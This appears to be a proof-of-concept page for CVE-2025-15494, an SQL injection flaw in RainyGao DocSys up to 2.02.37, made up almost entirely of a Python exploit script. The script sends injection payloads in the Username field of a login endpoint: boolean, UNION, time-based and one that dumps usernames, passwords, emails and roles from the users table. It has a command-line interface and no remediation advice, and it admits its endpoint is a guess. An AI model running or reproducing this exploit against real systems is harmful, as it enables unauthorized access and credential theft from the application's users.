CVE-2025-15494 RainyGao DocSys SQL注入漏洞

# CVE-2025-15494 SQL Injection PoC # Target: RainyGao DocSys <= 2.02.37 # Vulnerability: SQL Injection in UserMapper.xml via Username parameter import requests import sys def exploit_sql_injection(target_url, payload): """ Exploit SQL injection vulnerability in RainyGao DocSys target_url: Base URL of the vulnerable application payload: SQL injection payload """ endpoint = f"{target_url}/user/login" # Adjust endpoint based on actual application # Malicious payload for Username parameter data = { "Username": payload, "Password": "any_password" # Any password as we focus on SQL injection } try: response = requests.post(endpoint, data=data, timeout=10) return response except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return None # Example payloads for different SQL injection techniques PAYLOADS = { "boolean_based": "admin' AND 1=1-- -", "union_select": "admin' UNION SELECT NULL,NULL,NULL,NULL-- -", "time_based": "admin'; SLEEP(5)-- -", "extract_data": "admin' UNION SELECT username,password,email,role FROM users-- -" } if __name__ == "__main__": if len(sys.argv) < 3: print("Usage: python cve_2025_15494.py <target_url> <payload_type>") print(f"Available payload types: {', '.join(PAYLOADS.keys())}") sys.exit(1) target = sys.argv[1] payload_type = sys.argv[2] if payload_type not in PAYLOADS: print(f"[-] Unknown payload type: {payload_type}") sys.exit(1) print(f"[*] Targeting: {target}") print(f"[*] Using payload: {PAYLOADS[payload_type]}") response = exploit_sql_injection(target, PAYLOADS[payload_type]) if response: print(f"[+] Response status: {response.status_code}") print(f"[+] Response body: {response.text[:500]}")